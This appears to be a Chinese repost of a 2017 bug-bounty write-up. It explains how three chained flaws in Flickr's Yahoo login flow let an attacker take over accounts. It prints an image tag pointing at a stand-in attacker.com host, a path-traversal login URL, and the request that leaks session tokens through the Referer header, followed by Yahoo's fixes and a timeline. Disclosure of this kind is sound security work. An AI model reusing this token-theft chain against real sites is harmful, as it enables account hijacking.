价值7k美刀的Flickr网站漏洞是怎么样的?

简介: 本文讲的是价值7k美刀的Flickr网站漏洞是怎么样的?,Flickr是雅虎旗下图片分享网站,Reizelman发现该网站存在三个漏洞,三个漏洞相互配合使用,可以接管他人Flickr帐户。
本文讲的是 价值7k美刀的Flickr网站漏洞是怎么样的?Flickr是雅虎旗下图片分享网站,Reizelman发现该网站存在三个漏洞,三个漏洞相互配合使用,可以接管他人Flickr帐户。

Flickr.com登录流程概述    

Reizelman发现每次用户登录Flickr.com网站时,都会被重定向到login.yahoo.com域用于身份验证。    

https://login.yahoo.com/config/login?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c=H6T9XcS72e4mRnW3NpTAiU8ZkA–&.intl=il&.lang=en&mg=1&.done=https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c=JvVF95K62e6PzdPu7MBv2V8-&.intl=il&.done =https://www.flickr.com/signin/yahoo/?redir=https://www.flickr.com/null  

以上网址是Yahoo帐户登录页面,用户被提示输入他的账户密码。输入账户密码并单击登录后,如果账户密码有效,则将其重定向到以下Flickr url:

  https://www.flickr.com/signin/yahoo/?redir=https%3A%2F%2Fwww.flickr.com%2F&.data={first-token-value}&.ys={second-token-value }

Reizelman通过观察,如果用户已经登录到Yahoo,再点击登录链接:

https://login.yahoo.com/config/login?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c=H6T9XcS72e4mRnW3NpTAiU8ZkA–&.intl=il&.lang=en&mg=1&.done=https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c=JvVF95K62e6PzdPu7MBv2V8-&.intl=il&.done =https://www.flickr.com/signin/yahoo/?redir=https://www.flickr.com/ 

验证的流程发生在后台,用户不需要在Yahoo域输入他的账户密码,即可完成flickr网站登录认证。 

这种的验证方式可能引发其他用户的账户被黑客接管,因为用户只需点击单个链接(如在某些OAuth实现中)来进行身份验证,这样他就可以进行身份验证。熟悉了登录的流程,进行寻找是否有会被他人账户被黑客接管的风险。 

通过以上的url我发现,我可以控制.done这个参数,该参数控制了登录token的发送位置,看起来雅虎只验证https://www.flickr.com/signin/yahoo/这种开头的域,但是我们仍然可以附加../所以如果我们将../../test附加到.done参数 .ys及.data的Token将被发送到https://www.flickr.com/test页面。 

这给了我一个引导,假如我在ww.flickr.com找到一个重定向,我就可以把Token发送到我控制的服务器,但是无法在www.flickr.com主域找到一个重定向漏洞,所以我寻找其他的办法。

经过一番查找,我找到了这个页面:https://www.flickr.com/html.gne?tighten=0&type=comment,可以在Flickr评论页面中插入图片。我觉得也许可以在评论插入一个外链图片,Toeken将通过referer字段发送到我控制的机器上,我发表了一个评论插入了图片。

      /img src=“https://attacker.com/someimage.jpg”/

该图像确实插入在评论中了,但是src值成如下连接:

https://ec.yimg.com/ec?url=https://attacker.com/someimage.jpg&t=1491136241&sig=FGQiNHDOtEj7LQDBbYBnwA-~C

这实际是雅虎的代理,把用户上传图片,自己保存,通过代理的方式来加载显示,不去请求外部的服务器。但是,如果我使用一些技巧,我可以操纵Flickr图像处理逻辑。发布了以下评论:

  /img src=“//www.attacker.com/someimage.jpg”/

该注释未被代理操作,并且src保持原样,按理说图片会显示在评论中,但是,有遇到一个问题了,网站使用了Content-Security-Policy(CSP),img-src属性定义了,只能从以下的网站加载图片。因为我们插入图片的网址不是白名单内的,是无法加载的。

Content-Security-Policy:img-src data: blob: 
https://*.flickr.com 
https://*.flickr.net 
http://*.flickr.net 
https://*.staticflickr.com 
http://*.staticflickr.com 
https://*.yimg.com 
https://*.yahoo.com 
https://*.cedexis.com 
https://*.cedexis-test.com 
https://*.cedexis-radar.net 
https://sb.scorecardresearch.com 
https://image.maps.api.here.com 
https://csync.yahooapis.com 
https://*.paypal.com 
https://*.pinterest.com 
http://*.static-alpha.flickr.com 
https://geo-um.btrll.com 
https://connect.facebook.net 
https://*.facebook.com 
https://bs.serving-sys.com 
https://*.adserver.yahoo.com 
https://*.maps.api.here.com 
https://*.maps.cit.api.here.com 
https://*.ads.yahoo.com 
https://secure.footprint.net

知道这一点后,我尝试在其他页面寻找可评论的地方,过了一段时间,找到了一个论坛页面,www.flickr.com/help/forum/en-us/。这个页面支持HTML代码插入功能的评论,更爽的是https://www.flickr.com/help/forum/*这个网站都没用使用CSP。

所以我在论坛发布了以下评论:
 / img src =“ /  / www.attacker.com/someimage.jpg”/

一个外部的图片被插入到这里:

https://www.flickr.com/help/forum/en-us/72157668446997150/page14/

所以我现在要做的就是构造最终的url,如下:

https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=cLI6NPLejY6&.scrumb2=GszxN7PzUWX&.pd=c%3DJvVF95K62e6PzdPu7MBv2V8-&.intl=il&.done=https://www.flickr.com/signin/yahoo/../ ../help/forum/en-us/72157668446997150/page14/

当用户点击链接时他被重定向到https://www.flickr.com/help/forum/en-us/72157668446997150/page14?data={some-token}&.ys={second -token},在这个请求中,他向浏览器发出来了如下的请求。

GET https://www.attacker.com/someimage.jpg HTTP/1.1
  Host: www.attacker.com
  Connection: keep-alive
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87    Safari/537.36
  Accept: image/webp,image/*,*/*;q=0.8
  Referer: https://www.flickr.com/help/forum/en-us/72157668446997150/page14/?.data={some-token}&.ys={second-token} 
  Accept-Encoding: gzip, deflate, sdch, br
  Accept-Language: he-IL,he;q=0.8,en-US;q=0.6,en;q=0.4,es;q=0.

可以看到Referer字段的含有.data={some-token}&.ys={second-token},将要发送到指定的网址,而这个网站是我们控制的,可以拿到Rerferer信息。

攻击者通过referer拿到token之后,构造攻击url,如下

https://www.flickr.com/signin/yahoo/?.data={copied from refferer}&。ys = {replied referer

即可登录到受害者的账户。

修复

雅虎通过以下的办法来解决这个漏洞。

1. login.yahoo.com端点上的.done参数仅允许https://www.flickr.com/signin/yahoo/作为有效值。

2.使用“/  / ”的插入的图片也是固定的。

3.现在CSP应用于Flickr论坛。

修复时间线

2017年4月2日 –  通过Hackerone的初步报告

2017年4月3日 –  报告举报

2017年4月10日 – 报告已解决

2017年4月21日 – 7K $奖赏奖励




原文发布时间为:2017年5月4日
本文作者:愣娃
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
目录
相关文章
|
SQL 安全 前端开发
渗透测试公司实战注入攻击拿下客户网站
近来,利用sql注入、xss和文件上传漏洞,成功getshell的一个客户网站(必须要拿到客户授权渗透测试许可证明才可以,不得违法入侵),这里简单记录一下整个过程,与大家分享。收集信息,查找漏洞。第一步就是进行信息收集,经过一轮的收集,发现这个网站租的是香港的服务器,没有waf文件;从网站的界面看,这个网站是用cms搭建的,搭建的环境是Iis10.0+php,同时通过目录扫描工具发现了一些网站的目录,但没有找到后台登录地址(这肯定是网站管理员隐藏了后台的地址)。
225 0
渗透测试公司实战注入攻击拿下客户网站
|
监控 安全 网络协议
网站被黑客攻击的两大因素分析处理
2020年3月中旬,我们SINE安全收到客户的安全求助,说是网站被攻击打不开了,随即对其进行了分析了导致网站被攻击的通常情况下因素分外部攻击和内部攻击两类,外部网站被攻击的因素,网站外部攻击通常情况下都是DDoS流量攻击。
991 0
网站被黑客攻击的两大因素分析处理
|
安全 Linux 测试技术
在对客户网站渗透测试之前 应该注意的5大方面
首先是渗透接口测试:在安全工程师角度看这就是1个十分好的知识要点积累的方式,不仅有利于你现在每次的网站渗透测试中不遗漏掉某一点,而且还能够在队伍里面开展分享有利于提高队伍里面队员的技术。我们SINE安全在针对甲方的网站渗透测试来说,在刚开始情况下和客户沟通许多有关事项是十分用得着的:第2个是常用工具:磨刀不误砍柴工,工欲善其事,有个好的常用工具影响大家在网站渗透测试时的工作效率。1个好的常用工具应当包含,不同服务器系统(windows2008,windows2012,linux centos);各式各样条件与基本软件(PHP、python、Rose、vus、数据库服务器服务端、SSH链接服务端
324 0
在对客户网站渗透测试之前 应该注意的5大方面
|
存储 监控 安全
网站安全公司 对于数据被篡改的安全风险分析
现代信息化系统越来越普遍,但对于数据安全方面却有很多问题,数据完整性风险不仅影响信息的有效性,还影响信息正确性的保证。一些政府条例特别注重确保数据的准确性。如果没有安全预警、授权或审计跟踪就可以更改信息,则无法确保信息的完整性。
248 0
网站安全公司 对于数据被篡改的安全风险分析
|
SQL 安全 JavaScript
网站渗透测试过程中对客户网站的信息搜集
网站渗透测试过程中对客户网站的信息搜集
网站渗透测试过程中对客户网站的信息搜集
|
SQL 安全 前端开发
网站10大常见安全漏洞及解决方案
一般来说牛逼点的地方都会通过安全设备来确保网络环境的安全,所以之前我们也都认为程序员不需要过多的考虑网站安全问题。实际上随着做了几个事业单位的网站之后,也逐渐发现有些方面还是需要程序员注意的。 1. SQL注入 安全等级 几乎每一个网站后台开发人员都听到的一个词,并且都很敏感,但是不知道是什么原因造成的很多程序员却在实际开发过程中经常忽视这个问题。
1861 0